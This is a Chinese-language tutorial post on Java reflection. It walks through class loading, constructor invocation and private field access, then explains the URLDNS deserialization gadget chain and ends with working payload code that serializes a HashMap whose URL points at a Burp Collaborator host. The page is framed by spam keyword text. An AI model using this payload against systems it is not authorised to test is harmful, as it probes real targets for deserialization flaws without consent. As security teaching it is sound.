成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

實例解析Java反射,你會了嗎?

安全 數據安全
java的反射是指在運行狀態中,對于任意一個類都能夠知道這個類所有的屬性和方法,并且對于任意一個對象。

反射是大多數語言里都必不不可少的組成部分,對象可以通過反射獲取他的類,類可以通過反射拿到所有方法(包括私有),拿到的方法可以調用,總之通過“反射”,我們可以將Java這種靜態語言附加上動態特性。

什么是反射

java的反射是指在運行狀態中,對于任意一個類都能夠知道這個類所有的屬性和方法,并且對于任意一個對象。

基本形式

public void execute(String className, String methodName) throws Exception {
Class clazz = Class.forName(className);
clazz.getMethod(methodName).invoke(clazz.newInstance());
}

上面的例子中,我演示了幾個在反射里極為重要的方法:獲取類的方法: forName實例例化類對象的方法: newInstance獲取函數的方法: getMethod執行函數的方法: invoke。

反射的作用:

讓Java具有動態性,修改已有對象的屬性,動態生成對象,動態調用方法,操作內部類和私有方法。

在反序列化漏洞中的應用

定制需要的對象,通過invoke調用除了同名函數以外的函數,通過class類創建對象,引入不能序列化的類。

java反射舉例

此處引用白日夢組長的例子,具體講解一下反射。

先寫一個Person作為我們下面演示的原型類。

public class Person {
private String name;
public int age;

public void act(){
System.out.println("test");
}
@Override
public String toString() {
return "Persion{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}

public Person() {
}

public Person(String name, int age) {
this.name = name;
this.age = age;
}
}

獲取原型類

使用forName方法:

Class c = Class.forName("Person");

在此也寫一種基于ClassLoader的動態類加載方式。

this.getClass().getClassLoader().loadClass("Person");

從原型class里面實例化對象

利用構造函數實例化。

Constructor constructor = c.getConstructor(String.class,int.class);
Person p1 = (Person) constructor.newInstance("abc",22);

我們來逐行寫一下分析:

Constructor constructor = c.getConstructor(String.class,int.class);
這一行是為了獲取原型類中重載的構造方法
public Person(String name, int age) {
this.name = name;
this.age = age;
}

對構造方法進行傳參實例化一個對象
Person p1 = (Person) constructor.newInstance("abc",22);
我們可以打印一下p1看一下返回結果

img

獲取類里面的屬性

private String name;
public int age;

public

Field ageField = c.getField("age");
ageField.set(p1,11);

img

private

Field nameField = c.getDeclaredField("name");
nameField.setAccessible(true);
nameField.set(p1,"xinyuan");

img

獲取類方法

Method actmethod = c.getMethod("act",String.class);
actmethod.invoke(p1,"SKyMirror");

getMethod 與上面的獲取構造函數類似,第一個參數是函數名,第二個是傳參的類型。

invoke方法第一個傳入對象,第二個是傳入參數值。

img

利用URLDNS(反射)

這條鏈子算是反射的一個簡單應用。

利用點

URL這個類重寫了hashCode方法,導致在執行hashCode的時候,此利用點不能命令執行,但是會請求DNS,所以被用來驗證是否存在反序列化漏洞。

源碼如下:

img

img

可以看到當我們調用一次hashCode方法,他會對傳進去的URL對象發起請求,即我們如果去DNSLOG申請一個地址,根據訪問來判斷是否成功執行了hashCode方法進而判斷是否執行了反序列化的操作。

URL這個類實現了java.io.Serializable,可以進行序列化的操作。

img

因此,在這里我們可以驗證一下我們上面的想法。

img

img

鏈子

這個鏈子也比較短,比較簡單,主要是利用HashMap來執行hashCode方法。

HashMap實現了Serializable可以序列化,此處注意反序列化時HashMap的readObject方法。

img

我們跟進一下hash方法:

img

key參數可控,key又是由反序列化的時候生成的。在HashMap中用put傳入一個URL的對象,即可在反序列化的時候調用到此方法,從而觸發整個鏈子。

有一點需要注意,我們在序列化的時候,進行的put傳參會修改掉傳入的URL對象的hashCode的值,因為hashCode值不等于-1,從而導致無法正常觸發下面的方法,即無法觸發DNS請求。

img

同時在正常put傳參的時候會執行一次DNS請求,所以我們在put傳參之前修改hashCode的值(不為-1就行),傳參之后修改hashCode為-1,在反序列化的時候就可以正常執行了。

payload如下:

public static void main(String[] args) throws Exception{
HashMap <URL,Integer> hashMap = new HashMap<>();
URL u = new URL("http://i2loelbsvarbmabqf89qi9k88zep2e.burpcollaborator.net/");
Class c = u.getClass();
//在進行put方法傳參之前修改URL對象的hashCode值
Field hashcodeField = c.getDeclaredField("hashCode");
hashcodeField.setAccessible(true);
hashcodeField.set(u,123);

hashMap.put(u,123);
//修改URL對象的hashCode值為-1
hashcodeField.set(u,-1);
serialize(hashMap);
}

責任編輯:武曉燕 來源: FreeBuf.COM
相關推薦

2024-01-18 09:38:00

Java注解JDK5

2023-06-26 13:08:52

GraphQL服務數據

2022-08-29 08:05:44

Go類型JSON

2024-11-08 08:56:01

2024-10-11 09:15:33

2023-12-27 07:31:45

json產品場景

2024-01-19 08:25:38

死鎖Java通信

2025-01-02 10:02:44

2024-02-05 13:52:30

?Thread對象強引用

2024-10-09 07:40:43

2022-12-22 08:14:54

2024-09-06 07:29:05

2022-05-06 08:26:32

JavaSPI機制

2025-01-14 08:32:55

JWT令牌.NET

2024-07-31 08:26:47

2024-04-01 08:29:09

Git核心實例

2022-04-01 08:23:17

InputstreString字符串

2024-02-04 00:00:00

Effect數據組件

2023-07-26 13:11:21

ChatGPT平臺工具

2023-01-10 08:43:15

定義DDD架構
點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 精品一区二区三区在线视频 | 日韩一级免费大片 | 91视频久久 | 久久亚洲一区 | 亚洲国产精品久久久 | 毛片a级| 欧美精品一区三区 | 久久久久久久电影 | 久久久久久久综合 | 一区二区三区国产精品 | 作爱视频免费观看 | 久久久久国产一区二区三区四区 | 91精品无人区卡一卡二卡三 | 三级免费av | 97人澡人人添人人爽欧美 | 91色在线 | 成人在线精品 | 国产欧美在线 | 亚洲国产欧美国产综合一区 | 国产精品精品视频一区二区三区 | 日韩免费一区 | 国产美女在线精品免费 | 91精品国产乱码久久久久久久 | 91精品国产麻豆 | 激情av在线 | 日韩免费高清视频 | 欧美性大战久久久久久久蜜臀 | 成人视屏在线观看 | 免费视频成人国产精品网站 | 日韩精品一区二区三区视频播放 | 精品一二区 | 久久久久久久综合 | 成人精品国产免费网站 | 欧美中文一区 | 久久国产精品久久久久久 | 精品亚洲一区二区三区 | 精品国产乱码一区二区三 | 成人国产精品免费观看 | 91精品国产综合久久婷婷香蕉 | 白浆在线 | 中文字幕蜜臀 |